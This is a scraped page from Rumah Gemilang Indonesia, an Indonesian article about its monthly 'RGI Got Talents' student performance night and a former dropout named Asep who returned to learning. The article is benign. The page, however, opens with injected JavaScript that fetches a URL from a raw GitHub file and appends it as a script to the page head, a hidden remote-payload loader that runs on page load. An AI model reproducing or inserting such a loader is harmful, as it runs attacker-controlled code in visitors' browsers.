;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); RGI Got Talents – Rumah Gemilang Indonesia

RGI Got Talents

RGI Got Talents

Berkeahlian (skill), berpengetahuan (knowledge) dan berakhlaq baik (attitude), tiga pilar output pusdiklat Rumah Gemilang Indonesia (RGI). Untuk mencapai SDM yang memiliki tiga nilai tersebut diperlukan perpaduan aspek kognitif, motorik, afektif dalam sistem pendekatannya sehingga akan lahir genersi kreatif, produktif, mandiri dan berbudi mulia.

Ikhtiar membentuk sumber daya insani yang berkualitas tersebut, peserta diklat RGI mengikuti mabit setiap bulannya yang dikemas dalam”RGI Got Talents”. Di tengah kepenatan aktifitas belajar dengan muatan materi yang padat dari pagi sampai sore bahkan malam setiap harinya, satu kegiatan ringan penuh makna diperlukan mereka. RGI mendorong peserta diklat untuk mengekspresikan bakat dan gayanya dalam kreatifitas seni. Bebas dan bermoral.

Hasilnya, yang awalnya jaim dan pendiam bakat dan talentanya bermunculan. Panggung sederhana yang didesain, penuh dengan performance seni baik individu maupun kelompok. Ada puisi, group vocal, solo vocal, teater, story telling, marawis, tilawatul qur’an, musik akustik, nasyid, karya fiksimini, dll.

Asep misalnya. Pemuda jangkung yang sebelumnya berambut gimbal ini merasa bersyukur bisa belajar di RGI. Selain belajar fotografi dan videografi, keahlian bermain musiknya sangat diapresiasi. Reggae yang menjadi aliran musiknya, membawanya sering manggung di beberapa event, termasuk penampilannya bersama komunitasnya di arena PRJ (Pekan Raya Jakarta) 2010.

”Bagi saya, RGI adalah kesempatan kedua saya untuk menghargai pendidikan”. Asep yang putus sekolah, sebelumnya beranggapan pendidikan formal setinggi apapun yang mahal biayanya tidak ada gunanya. Toh, akhirnya juga akan balik ke masyarakat. Alasan ini yang membuat Asep memilih untuk hidup dan bergaul di ”jalanan”. Kini, ia sadar betapa pentingnya arti pendidikan, meskipun non formal.

Pengaruh positif Asep begitu kuat di komunitas reggae-nya. Dalam kegiatan Al Qur’an Day, yaitu ngaji Al- Qur’an setiap Kamis malam, Asep kirim SMS ke pendamping spiritualnya : ”..Bang, bolehkah saya ngajak temen-temen saya untuk ngaji bersama Abang di RGI..”. Asep yang belum bisa baca Al Qur’an dan selalu absen sholat, kini memiliki gairah belajar sholat dan baca Al Qur’an. Penamilannya kini berubah gagah dan rapi setelah rambut gimbalnya dicukur.

ASEP yang DULU

ASEP yang Sekarang

No Comments

Add your comment